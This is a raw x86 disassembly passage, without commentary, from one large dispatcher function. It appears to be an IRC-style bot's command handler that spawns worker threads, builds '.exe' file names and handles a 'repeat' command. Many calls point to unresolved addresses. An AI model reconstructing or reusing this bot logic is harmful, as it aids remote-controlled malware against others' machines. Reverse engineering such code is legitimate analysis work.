		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_409855
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409855
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409855
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E59C[eax]
		call	sub_409A73
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43E390[eax], 73h
		jnz	loc_409855
		push	esi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43E5A8
		push	eax
		push	edi
		push	offset aSSS_1	; "[%s]	<%s> %s"


loc_407A36:				; CODE XREF: sub_401ACD+5E8Cj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 28h
		jmp	loc_409855
; ---------------------------------------------------------------------------


loc_407A63:				; CODE XREF: sub_401ACD+4ED2j
					; sub_401ACD+4EE9j
		push	[ebp+arg_10]
		call	dword_4CB694
		push	edi
		mov	[ebp+var_680], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_690], eax
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_688], eax
		lea	eax, [ebp+var_710]
		mov	[ebp+var_714], esi
		push	eax
		call	sub_41B5F0
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_678], edi
		push	[ebp+var_688]
		mov	[ebp+var_674], eax
		push	[ebp+var_690]
		push	[ebp+var_680]
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AAE0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_684], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_714]
		push	ebx
		push	eax
		push	offset byte_40C669
		push	ebx
		push	ebx
		nop
		call	near ptr 2680683h
		mov	ecx, [ebp+var_684]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_407B45


loc_407B2F:				; CODE XREF: sub_401ACD+6076j
		cmp	[ebp+var_670], ebx
		jnz	loc_403DA1
		push	32h
		nop
		call	near ptr 2680646h
		jmp	short loc_407B2F
; ---------------------------------------------------------------------------


loc_407B45:				; CODE XREF: sub_401ACD+6060j
		nop
		call	near ptr 2680F9Dh
		push	eax
		push	offset unk_42ABD4
		jmp	loc_403D92
; ---------------------------------------------------------------------------


loc_407B56:				; CODE XREF: sub_401ACD+4EA4j
					; sub_401ACD+4EBBj
		push	[ebp+arg_10]
		call	sub_41B779
		mov	[ebp+var_112C],	eax
		push	7Fh
		lea	eax, [ebp+var_1230]
		push	edi
		push	eax
		call	sub_41B5F0
		push	[ebp+arg_0]
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		add	esp, 14h
		mov	[ebp+var_1130],	eax
		lea	eax, [ebp+var_11B0]
		push	[ebp+var_88]
		mov	[ebp+var_1238],	esi
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	edi, [ebp+var_4]
		mov	[ebp+var_111C],	eax
		push	[ebp+var_1130]
		lea	eax, [ebp+var_1230]
		mov	[ebp+var_1120],	edi
		push	eax
		push	[ebp+var_112C]
		push	esi
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AAA4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	18h
		push	eax
		call	sub_40B0F7
		add	esp, 24h
		mov	[ebp+var_1128],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1238]
		push	ebx
		push	eax
		push	offset loc_4103AB
		push	ebx
		push	ebx
		call	near ptr 2680683h
		nop
		mov	ecx, [ebp+var_1128]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_407C42


loc_407C2C:				; CODE XREF: sub_401ACD+6173j
		cmp	[ebp+var_1118],	ebx
		jnz	loc_403DA1
		push	32h
		call	near ptr 2680646h
		nop
		jmp	short loc_407C2C
; ---------------------------------------------------------------------------


loc_407C42:				; CODE XREF: sub_401ACD+615Dj
		nop
		call	near ptr 2680F9Dh
		push	eax
		push	offset unk_42AA60
		jmp	loc_403D92
; ---------------------------------------------------------------------------


loc_407C53:				; CODE XREF: sub_401ACD+4E76j
					; sub_401ACD+4E8Dj
		push	0FFh
		lea	eax, [ebp+var_2878]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	0FFh
		lea	eax, [ebp+var_2778]
		push	edi
		push	eax
		call	sub_41B5F0
		push	[ebp+arg_0]
		mov	[ebp+var_2674],	ebx
		call	sub_41B779
		mov	[ebp+var_2670],	eax
		mov	eax, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_407CAC
		push	10h
		push	ebx
		push	eax
		call	sub_41BDC5
		add	esp, 0Ch
		mov	[ebp+var_2668],	eax
		jmp	short loc_407CB2
; ---------------------------------------------------------------------------


loc_407CAC:				; CODE XREF: sub_401ACD+61C9j
		mov	[ebp+var_2668],	ebx


loc_407CB2:				; CODE XREF: sub_401ACD+61DDj
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_407CC9
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_266C],	eax
		jmp	short loc_407CCF
; ---------------------------------------------------------------------------


loc_407CC9:				; CODE XREF: sub_401ACD+61EBj
		mov	[ebp+var_266C],	ebx


loc_407CCF:				; CODE XREF: sub_401ACD+61FAj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2664],	eax
		lea	eax, [ebp+var_28F8]
		mov	[ebp+var_28FC],	esi
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_265C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_2660],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AA34
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Dh
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_2678],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_28FC]
		push	ebx
		push	eax
		push	offset loc_4163FA
		push	ebx
		push	ebx
		nop
		call	near ptr 2680683h
		mov	ecx, [ebp+var_2678]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_407D80


loc_407D6A:				; CODE XREF: sub_401ACD+62B1j
		cmp	[ebp+var_2658],	ebx
		jnz	loc_407279
		push	32h
		nop
		call	near ptr 2680646h
		jmp	short loc_407D6A
; ---------------------------------------------------------------------------


loc_407D80:				; CODE XREF: sub_401ACD+629Bj
		call	near ptr 2680F9Dh
		nop
		push	eax
		push	offset unk_42A9F4
		jmp	loc_40726A
; ---------------------------------------------------------------------------


loc_407D91:				; CODE XREF: sub_401ACD+4E48j
					; sub_401ACD+4E5Fj
		push	7Fh
		lea	eax, [ebp+var_3490]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3410]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3390]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3310]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_328C],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3288],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_3494],	esi
		push	[ebp+arg_10]
		push	offset unk_42A9B8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	12h
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_3290],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3494]
		push	ebx
		push	eax
		push	offset word_414A92
		push	ebx
		push	ebx
		nop
		call	near ptr 2680683h
		mov	ecx, [ebp+var_3290]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_407E68


loc_407E52:				; CODE XREF: sub_401ACD+6399j
		cmp	[ebp+var_3284],	ebx
		jnz	loc_407279
		push	32h
		nop
		call	near ptr 2680646h
		jmp	short loc_407E52
; ---------------------------------------------------------------------------


loc_407E68:				; CODE XREF: sub_401ACD+6383j
		nop
		call	near ptr 2680F9Dh
		push	eax
		push	offset unk_42A980
		jmp	loc_40726A
; ---------------------------------------------------------------------------


loc_407E79:				; CODE XREF: sub_401ACD+4D1Bj
					; sub_401ACD+4D32j
		push	7Fh
		lea	eax, [ebp+var_3068]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2FE8]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2F68]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2EE8]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2E64],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2E60],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_306C],	esi
		push	[ebp+arg_10]
		push	offset unk_42A950
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Eh
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_2E68],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_306C]
		push	ebx
		push	eax
		push	offset byte_4137CD
		push	ebx
		push	ebx
		call	near ptr 2680683h
		nop
		mov	ecx, [ebp+var_2E68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_407F50


loc_407F3A:				; CODE XREF: sub_401ACD+6481j
		cmp	[ebp+var_2E5C],	ebx
		jnz	loc_407279
		push	32h
		nop
		call	near ptr 2680646h
		jmp	short loc_407F3A
; ---------------------------------------------------------------------------


loc_407F50:				; CODE XREF: sub_401ACD+646Bj
		nop
		call	near ptr 2680F9Dh
		push	eax
		push	offset unk_42A918
		jmp	loc_40726A
; ---------------------------------------------------------------------------


loc_407F61:				; CODE XREF: sub_401ACD+4BF2j
					; sub_401ACD+4C09j ...
		push	7Fh
		lea	eax, [ebp+var_3CE4]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3C64]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3BE4]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3B64]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		push	20h
		lea	eax, [ebp+var_3AE4]
		push	[ebp+arg_8]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 3Ch
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3A64],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3A60],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_3CEC],	esi
		push	[ebp+arg_10]
		push	offset unk_42A8E8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Dh
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_3CE8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3CEC]
		push	ebx
		push	eax
		push	offset dword_412A54
		push	ebx
		push	ebx
		nop
		call	near ptr 2680683h
		mov	ecx, [ebp+var_3CE8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_408049


loc_408033:				; CODE XREF: sub_401ACD+657Aj
		cmp	[ebp+var_3A5C],	ebx
		jnz	loc_407279
		push	32h
		nop
		call	near ptr 2680646h
		jmp	short loc_408033
; ---------------------------------------------------------------------------


loc_408049:				; CODE XREF: sub_401ACD+6564j
		nop
		call	near ptr 2680F9Dh
		push	eax
		push	offset unk_42A8B0
		jmp	loc_40726A
; ---------------------------------------------------------------------------


loc_40805A:				; CODE XREF: sub_401ACD+4BC4j
					; sub_401ACD+4BDBj
		push	7Fh
		lea	eax, [ebp+var_1778]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	3Fh
		mov	[ebp+var_1628],	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_16F8]
		push	eax
		call	sub_41B5F0
		mov	esi, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_4080A5
		push	3Fh
		lea	eax, [ebp+var_16B8]
		push	esi
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_4080A5:				; CODE XREF: sub_401ACD+65C4j
		lea	eax, [ebp+var_16F8]
		mov	[ebp+var_1624],	1
		push	eax
		lea	eax, [ebp+var_1778]
		push	[ebp+var_1628]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A880
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Fh
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_1620],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_177C]
		push	ebx
		push	eax
		push	offset sub_4017ED
		push	ebx
		push	ebx
		call	near ptr 2680683h
		nop
		mov	ecx, [ebp+var_1620]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_408131


loc_40811B:				; CODE XREF: sub_401ACD+6662j
		cmp	[ebp+var_161C],	ebx
		jnz	loc_406CDF
		push	32h
		nop
		call	near ptr 2680646h
		jmp	short loc_40811B
; ---------------------------------------------------------------------------


loc_408131:				; CODE XREF: sub_401ACD+664Cj
		call	near ptr 2680F9Dh
		nop
		push	eax
		push	offset dword_42A844
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_408142:				; CODE XREF: sub_401ACD+4B84j
					; sub_401ACD+4B9Bj
		push	edi
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1D64],	eax
		jle	loc_408235
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1EEC]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1D60],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1EF0],	eax
		lea	eax, [ebp+var_1DEC]
		push	esi
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1D5C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_1D58],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A818
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	15h
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_1D6C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1EF0]
		push	ebx
		push	eax
		push	offset word_412E9E
		push	ebx
		push	ebx
		nop
		call	near ptr 2680683h
		mov	ecx, [ebp+var_1D6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_408224


loc_408212:				; CODE XREF: sub_401ACD+6755j
		cmp	[ebp+var_1D54],	ebx
		jnz	short loc_40828C
		push	32h
		nop
		call	near ptr 2680646h
		jmp	short loc_408212
; ---------------------------------------------------------------------------


loc_408224:				; CODE XREF: sub_401ACD+6743j
		call	near ptr 2680F9Dh
		nop
		push	eax
		push	offset unk_42A7E0
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_408235:				; CODE XREF: sub_401ACD+6684j
		push	offset unk_42A7A8
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_40823F:				; CODE XREF: sub_401ACD+4B56j
					; sub_401ACD+4B6Dj
		push	edi
		push	[ebp+arg_10]
		nop
		call	near ptr 26A0E55h
		test	eax, eax
		jz	short loc_40826C
		push	edi
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	offset unk_42A784
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_40828C
; ---------------------------------------------------------------------------


loc_40826C:				; CODE XREF: sub_401ACD+677Ej
		push	offset dword_42A778
		call	sub_41814D
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980


loc_408289:				; CODE XREF: sub_401ACD+2F2Bj
					; sub_401ACD+5570j
		add	esp, 0Ch


loc_40828C:				; CODE XREF: sub_401ACD+2137j
					; sub_401ACD+2ECDj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BD
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_4082A9:				; CODE XREF: sub_401ACD+57C7j
		call	sub_409A73
		add	esp, 14h
		jmp	loc_4083BD
; ---------------------------------------------------------------------------


loc_4082B6:				; CODE XREF: sub_401ACD+4B28j
					; sub_401ACD+4B3Fj
		push	[ebp+arg_10]
		lea	eax, [ebp+var_3F04]
		push	104h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_4082F0
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4082F0
		push	eax
		lea	eax, [ebp+var_3E00]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_4082F0:				; CODE XREF: sub_401ACD+6803j
					; sub_401ACD+6812j
		push	[ebp+var_88]
		lea	eax, [ebp+var_3F84]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_3F88],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3CF8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3CF4],	eax
		lea	eax, [ebp+var_3E00]
		push	eax
		lea	eax, [ebp+var_3F04]
		push	eax
		push	offset unk_42A748
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	24h
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_3CFC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3F88]
		push	ebx
		push	eax
		push	offset word_416CAE
		push	ebx
		push	ebx
		call	near ptr 2680683h
		nop
		mov	ecx, [ebp+var_3CFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_4083A2


loc_408390:				; CODE XREF: sub_401ACD+68D3j
		cmp	[ebp+var_3CF0],	ebx
		jnz	short loc_4083BD
		push	32h
		nop
		call	near ptr 2680646h
		jmp	short loc_408390
; ---------------------------------------------------------------------------


loc_4083A2:				; CODE XREF: sub_401ACD+68C1j
		nop
		call	near ptr 2680F9Dh
		push	eax
		push	offset unk_42A70C


loc_4083AE:				; CODE XREF: sub_401ACD+925j
					; sub_401ACD+A63j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_4083BD:				; CODE XREF: sub_401ACD+7E1j
					; sub_401ACD+94Cj ...
		push	1
		pop	esi
		jmp	loc_406D03
; ---------------------------------------------------------------------------


loc_4083C5:				; CODE XREF: sub_401ACD+4AFAj
					; sub_401ACD+4B11j
		push	44h
		lea	eax, [ebp+var_668]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		push	1
		mov	[ebp+var_668], esi
		pop	esi
		mov	[ebp+var_638], bx
		push	[ebp+arg_10]
		mov	[ebp+var_63C], esi
		call	sub_41B779
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_408404
		mov	[ebp+var_638], 5


loc_408404:				; CODE XREF: sub_401ACD+692Cj
		cmp	[ebp+var_C], ebx
		jz	loc_406CDF
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_406CDF
		lea	eax, [ebp+var_E10]
		push	eax
		lea	eax, [ebp+var_668]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		call	near ptr 2660BD6h
		nop
		test	eax, eax
		jnz	short loc_40844D
		push	offset unk_42A6E8
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_40844D:				; CODE XREF: sub_401ACD+6974j
		push	edi
		push	offset dword_42A6CC
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_408458:				; CODE XREF: sub_401ACD+4ACCj
					; sub_401ACD+4AE3j
		push	edi
		push	offset aQsfposs	; "qsfposs"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085D1
		lea	eax, [ebp+var_48F0]
		push	eax
		push	104h
		nop
		call	near ptr 26A0202h
		push	0FFh
		lea	eax, [ebp+var_25D0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_17D0]
		push	eax
		call	sub_40AD81
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_48F0]
		push	eax
		lea	eax, [ebp+var_24D0]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_41B886
		mov	eax, [ebp+esi+var_84]
		add	esp, 10h
		cmp	eax, ebx
		mov	[ebp+var_23CC],	1
		mov	[ebp+var_23C8],	ebx
		jz	short loc_4084ED
		push	10h
		push	ebx
		push	eax
		call	sub_41BDC5
		add	esp, 0Ch
		mov	[ebp+var_23C0],	eax
		jmp	short loc_4084F3
; ---------------------------------------------------------------------------


loc_4084ED:				; CODE XREF: sub_401ACD+6A0Aj
		mov	[ebp+var_23C0],	ebx


loc_4084F3:				; CODE XREF: sub_401ACD+6A1Ej
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_40850A
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_23C4],	eax
		jmp	short loc_408510
; ---------------------------------------------------------------------------


loc_40850A:				; CODE XREF: sub_401ACD+6A2Cj
		mov	[ebp+var_23C4],	ebx


loc_408510:				; CODE XREF: sub_401ACD+6A3Bj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_23BC],	eax
		lea	eax, [ebp+var_2650]
		mov	[ebp+var_2654],	esi
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_23B4],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_10]
		mov	[ebp+var_23B8],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A694
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Eh
		push	eax
		call	sub_40B0F7
		add	esp, 18h
		mov	[ebp+var_23D0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2654]
		push	ebx
		push	eax
		push	offset loc_4163FA
		push	ebx
		push	ebx
		nop
		call	near ptr 2680683h
		mov	ecx, [ebp+var_23D0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_4085C0


loc_4085AA:				; CODE XREF: sub_401ACD+6AF1j
		cmp	[ebp+var_23B0],	ebx
		jnz	loc_406CDF
		push	32h
		call	near ptr 2680646h
		nop
		jmp	short loc_4085AA
; ---------------------------------------------------------------------------


loc_4085C0:				; CODE XREF: sub_401ACD+6ADBj
		nop
		call	near ptr 2680F9Dh
		push	eax
		push	offset dword_42A658
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_4085D1:				; CODE XREF: sub_401ACD+699Aj
		push	offset dword_42A610


loc_4085D6:				; CODE XREF: sub_401ACD+2E74j
					; sub_401ACD+457Dj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_406CDF
; ---------------------------------------------------------------------------


loc_4085E9:				; CODE XREF: sub_401ACD+4A9Ej
					; sub_401ACD+4AB5j
		push	[ebp+var_8C]
		push	offset dword_42D028
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		cmp	[ebp+var_C], ebx
		jz	loc_401E94
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A600
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 28h
		test	eax, eax
		jle	short loc_408674
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 3E8h
		pop	ecx
		push	eax
		nop
		call	near ptr 2680646h


loc_408674:				; CODE XREF: sub_401ACD+6B8Fj
		push	offset dword_42A5EC
		call	sub_4151AD
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_408688:				; CODE XREF: sub_401ACD+4A70j
					; sub_401ACD+4A87j
		push	[ebp+var_8C]
		push	offset dword_42D028
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		inc	edi
		push	offset aRepeat	; "repeat"
		push	edi
		mov	esi, eax
		call	sub_41C070
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_408746
		push	[ebp+var_88]
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A600
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_42A5D4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		test	eax, eax
		jle	loc_409855
		push	[ebp+arg_10]
		call	sub_41B779
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_408746:				; CODE XREF: sub_401ACD+6BFBj
		push	offset unk_42A5A0


loc_40874B:				; CODE XREF: sub_401ACD+7543j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40875A:				; CODE XREF: sub_401ACD+74CBj
					; sub_401ACD+7624j
		cmp	[ebp+var_8], ebx
		jnz	short loc_40877B
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_40877B:				; CODE XREF: sub_401ACD+6C90j
					; sub_401ACD+72C8j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_40878C:				; CODE XREF: sub_401ACD+4A42j
					; sub_401ACD+4A59j
		push	7Fh
		lea	eax, [ebp+var_2214]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2194]
		push	edi
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2114]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 24h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2090],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_208C],	eax
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_2218],	esi
		push	offset unk_42A56C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Fh
		push	eax
